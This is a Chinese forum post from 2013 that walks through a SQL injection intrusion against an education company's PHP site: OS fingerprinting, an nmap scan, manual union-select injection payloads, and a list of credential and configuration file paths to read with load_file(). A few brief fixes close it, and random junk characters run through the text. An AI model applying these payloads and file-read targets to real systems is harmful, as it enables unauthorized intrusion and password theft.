找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2357|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:. i3 G' X2 G5 o
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……% B1 R* c$ U* I) M$ ~9 A* L- r) S
第一步:获取需要的信息( Q- l5 a3 ^: S% S. D1 X$ Q
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。3 i. X- v; j+ E' V% n) _
注:以下为保护特用XXX代替敏感信息
3 D! ?7 W. H% F" E顺手先PING了一下他们的域名:
7 x  }' X! {5 t! B9 Nping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
5 {& M4 m( P7 H; H$ f64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms2 w( W1 c0 T) H
顺便了解一下TTL,学好基础知识才能一路顺风:
9 J3 u- h! a- V4 x6 mTTL:(Time To Live ) 生存时间7 k% K6 d; r% T* r& T7 S" P1 A
指定数据包被路由器丢弃之前允许通过的网段数量。
& Y0 {( K, k+ a: f1 t6 b! R, U- CTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。. M( s- v! {. |) ?, D
使用PING时涉及到的 ICMP 报文类型
; t. G2 y8 |2 V8 y5 J* b一个为ICMP请求回显(ICMP Echo Request)
/ t: N+ H# F# L5 P2 }一个为ICMP回显应答(ICMP Echo Reply)
0 o4 c; g' i& c4 iTTL 字段值可以帮助我们识别操作系统类型。
) ~- u+ w8 A% q0 M) z" k$ s0 f: iUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255- m5 }6 m+ c" q% @
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
7 f2 z% v- S& Z% [1 c3 F6 ^6 u微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 1281 i7 t& B3 Y9 |1 Z$ a; V1 m* d# E
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
- m; V0 J* R' r* x# b8 {  G( L当然,返回的TTL值是相同的( \9 V% d/ ?# d
但有些情况下有所特殊
3 C/ p9 \8 A( L) j/ ~LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64& n6 }* V: a5 F
FreeBSD 4.1, 4.0, 3.4;' P; J& A! e+ H- S
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
$ X& w6 J- X2 g2 COpenBSD 2.6, 2.7,) K3 f- L0 T+ i  g
NetBSD; T, T/ Z  }4 n1 g. a! v) g
HP UX 10.20# T+ _! V6 \: W/ F: w( c5 o- `- l
ICMP 回显应答的 TTL 字段值为 255/ `/ j- Q9 B5 s* o
Windows 95/98/98SE
) j3 N) R2 Z5 U+ F0 [) OWindows ME
- Y+ i* @* K  o0 n6 w3 |ICMP 回显应答的 TTL 字段值为 321 d  g  {: M0 k) M* a- W9 X
Windows NT4 WRKS* ?% x! o9 N7 \+ E" f
Windows NT4 Server
$ E4 x% `* p: ]- z3 sWindows 2000
* \$ F0 z1 a9 {! w1 h2 MWindows XP: ~! x: i0 u& r9 U& l! R
ICMP 回显应答的 TTL 字段值为 1282 q  q; u2 m7 S
这样,我们就可以通过这种方法来辨别操作系统5 {& M# Y$ g8 W2 i+ `! Q) F
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255$ q& ~/ O: Y0 p; j0 Y  j; n# G
用NMAP扫描一下:( k2 X! f% ?) c- b
nmap -sT -O XXX.XXX.XXX.XXX; |# p1 A; E. K$ B  w! j0 R3 i
如果没有装WinPcap则会弹出提示:5 ]* i& p, c+ N; c4 S/ S: x9 p
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr
5 x& x2 I0 g; Z6 k* c: Xade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
& g* c$ [$ @3 B) mode — Nmap may not function completely$ \6 U% L) e* S& Y" D8 y6 |
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
( u  F& o+ r& k, ?8 n5 n' zand iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
  S  D- G( p' H$ m$ Epcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an+ s. f& K- i* Q. V
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
' H6 F4 w4 I/ Q* }( M/ `( R6 cersions, you may be able to take iphlpapi.dll from another system and place it i1 b' Z  Q( ^; c0 V
n your system32 dir (e.g. c:\windows\system32).4 C; C2 w0 x% ^5 d1 B
QUITTING!
) f5 K- {8 |1 u) L, N( D到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe6 P( f% p7 \2 \/ s
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:# J, D& m: o  h6 l4 |# C- I
Interesting ports on XXX.XXX.XXX.XXX:
1 |( }' w4 _$ L2 l( ~Not shown: 986 closed ports
; G1 l6 z% ~: B# p& e8 zPORT     STATE    SERVICE
) ?8 c+ ^4 R1 \8 ~+ {9 S21/tcp   open     ftp
6 V3 G+ U0 X# @& Q* Q: s. C22/tcp   open     ssh. D6 V1 B2 z3 X5 ~
23/tcp   open     telnet
7 M$ ]" i& W1 Y. Y80/tcp   open     http4 Q* d" ~$ z7 h& n* A
111/tcp  open     rpcbind
/ x9 u8 o8 @9 Q+ |& o6 i6 q' n135/tcp  filtered msrpc5 [5 [+ N3 b7 ]3 [, V" o
139/tcp  filtered netbios-ssn
) y2 q6 U  {' Q3 D3 u445/tcp  filtered microsoft-ds
+ |; K; D& Q2 B  m. L: M/ P513/tcp  open     login
- s7 p! C0 A' O8 G) B+ M; [" I& E514/tcp  open     shell% \5 w+ `7 \- H+ n
593/tcp  filtered http-rpc-epmap
+ l1 T# n% k, s5 C1720/tcp filtered H.323/Q.931! Y4 t2 K. w! ~9 c7 T! E: d; J8 l
3306/tcp open     mysql
* ?. ]' G8 s# H" ]1 Y' ~# k1 z+ m4444/tcp filtered krb524& F: A: {# }: b
Device type: WAP2 ?/ @1 V$ ^6 G4 h
Running: Linux 2.4.X
7 ^: ?, f2 o/ Y& \0 }( `) o1 L9 POS details: DD-WRT (Linux 2.4.35s)
/ ^; m5 m+ H2 M* XNetwork Distance: 13 hops" n- d( d" d- }# v
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:; q8 r0 a; {4 n* |5 h0 }1 j/ m1 ^
login as:4 \- j/ a8 k  L2 |- w9 b
Telnet23端口也是开着的,用telnet 命令链接一下:" r% o8 @( p  A+ n  h
telnet XXX.XXX.XXX.XXX( L* U( I0 g9 \) j8 s% m
提示:
& a# w8 @: w& C: u+ m. B  y, ORed Hat Enterprise Linux Server release 5.2 (Tikanga)
& g# {) ]) S: X3 j3 J- w# fKernel 2.6.18-92.el5PAE on an i6862 S- U% h6 x* `" k' f
login:3 o- @4 }5 ~/ D- h0 |6 v
获取HTTP头信息:: w5 x( R# O3 `& r1 U9 s- ]8 P) s
在本地执行如下PHP代码4 u" a  k5 T( u2 n
<?php, j" Q# P" _  |8 f
$url = ‘XXX.XXX.XXX.XXX’;
! ]  v' ]) ?! x9 K/ ]$ w! |5 Jprint_r(get_headers($url));+ h& I" _* w; i' r/ J. p0 p6 E! P
print_r(get_headers($url, 1));
- v5 k6 V5 y8 I4 b  y( ]' R?>
  N% W5 V7 o+ i将以上代码保存为PHP文件,执行:% c$ c* S5 O! C
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
1 _( m' j# u: ]. A* a* k9 l现在可以得出结论:; n5 T& d! M7 _4 K8 y# f1 }& Y+ C* ^
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
0 `; ]0 }) {+ A0 t/ _* U内核版本:Kernel 2.6.18-92.el5PAE on an i686
2 k0 Y6 K, Q) m1 O, mWEB服务器版本:nginx/0.7.61
) S2 r1 S+ P  I1 U; e% \第二步,开始测试寻找漏洞% D7 D- H( `  I
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。# q; p9 X* D* S8 g( T
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
; [  c% O8 E: |0 y2、测试方法:在地址后加 and 1=1 和 and 1=2 测试7 C! |! c& ~& \4 c& T3 }8 Y
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常) ^( P6 q7 J9 W! L1 D& @
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误" D" W: F# C% I: r
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续: [- ~' o! r8 k; ], B) _" k- p
3、手工注入:
+ L; Y; o- N% @! y注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
' P( z) u6 o, Q. |( j3.1 猜测当前表字段数( j$ ]# k3 ?* b- F- r; i2 d4 f
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 109 e4 b! q3 R, j8 d8 ^. F
此处猜测有个简单的算法,都是有技巧的吗,呵呵
" l: e: E5 c2 _, q% ]- P. I9 n5 A8 X7 e算法简单如下:$ A+ G( c5 ]5 z& w2 j, S- H: n
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
  k4 G# e. ~8 z, {  S! t. D$ }& Z: |第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
3 I; K, m. M. Z* ]% A$ K9 u0 O需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
, Z) I- V0 c0 x; Z2 O* k: O7 R以此来判断,是否过界,配合取中算法猜出字段数。
* e6 A4 G# l4 Y( W* J& w举例:- j0 m6 T# H6 R  \& x) N8 q4 O8 F
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
  f0 R4 e% l8 i2 S! Nhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误( _& Y( [/ h6 q! L4 ]8 b' D: L
此时3则为我们要找的字段数。
6 P# X+ J3 s9 C$ Y. O. R& N3.2 配合union联合查询字段在页面所位置
6 A. b2 K, W4 y我们已经知道了字段数为3,此时则可以做如下操作:& ~9 U1 F# k& E% o
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3/ y. G4 k* j* \3 n, v4 h
" M- u* J* S# z% F' t9 ]% k; l
这样就可以测试到哪些字段在页面上有所显示了,如图:
( K6 t6 K; J9 s* b9 u, s' J! z3 d- N( O& R( ?2 i! `& n5 ?  c- O- p
3.3 查敏感信息4 M7 v4 W- ]: K, M
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
9 \  \) W6 M$ F% p5 ?8 Phttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database(). i" T7 U: P* r/ K% O
3.3.1 先查数据库用户、数据库名,以备后用,如图:: a; t3 s& W+ a4 Y2 Z
% ^+ _0 R7 |7 C& s; ]
得到数据库用户为root、数据库名为DBxx;( t. Z0 D6 g" ~/ f: r0 U! r5 I7 x0 [
3.3.2 查配置文件
4 _" J1 q& B" o" y+ Q: W查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
5 Y8 |% o( ]& b8 D. M* H5 A查看文件有一定的条件限制:( k5 r! `5 W; q" W
欲读取文件必须在服务器上* |, R/ P4 B' G: V- E3 z
必须指定文件完整的路径: S9 m! a3 c$ W9 U$ B6 |
必须有权限读取并且文件必须完全可读
1 ^' X1 g5 V. F( J% [  g/ O欲读取文件必须小于 max_allowed_packet7 x: w/ v) o/ i  a9 Z, A
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。( L0 G) v" H0 B
常用的一些:- j9 u* s; B3 T) m$ I' Q% }
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
$ _, S3 b8 E) i/usr/local/apache2/conf/httpd.conf
1 S# l/ p8 s1 U/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置8 o  {. u1 F; E
/usr/local/app/php5/lib/php.ini //PHP相关设置
5 g  U0 B$ F: e6 O8 p! `9 ?/etc/sysconfig/iptables //从中得到防火墙规则策略
+ [8 a, ~* _' M8 E/etc/httpd/conf/httpd.conf // apache配置文件
# W& x; D+ K4 g. E/etc/rsyncd.conf //同步程序配置文件7 Z1 F9 L& Y9 r+ _! |- G
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
. c4 o- y9 x4 p5 x' v3 |/etc/my.cnf //mysql的配置文件+ M2 E5 |+ ?8 M) ]
/etc/redhat-release //系统版本  O; n' L0 E+ b/ ?" J9 {+ ^( H
/etc/issue- G( N# l$ a* b
/etc/issue.net1 O- }) k' W* h, ?  \
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码4 r4 _" G) G/ O
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
9 c% \) M+ P% S% zc:\Program Files\Serv-U\ServUDaemon.ini
7 ^8 r" Z3 t% H3 }- ]c:\windows\my.ini //MYSQL配置文件
, z5 C- {. u* w3 vc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
) n8 }5 T, t% F+ F等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,- L- K$ t' B9 z; \7 V# P
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
$ S3 G: F: \! n4 Cc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此& f& d. F$ }9 f3 W6 j
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
. U. |2 a5 n0 h8 y5 X: kC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件8 c% e! ^! Z5 B0 G& W" c: n0 }4 V
//存储了pcAnywhere的登陆密码
, V- d# Z9 O8 C( S. b+ v由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
3 V* K3 Q" u$ Y6 y) w这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。7 e& g: }! o9 C' |0 @
最后:防范措施
: }! |, _& E- l) C8 z1、修复PHP注入漏洞;* w$ _+ q. }; B- M& F1 V4 M
2、Mysql使用普通权限的用户;
1 _- K. s8 d& B' q0 d: t3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表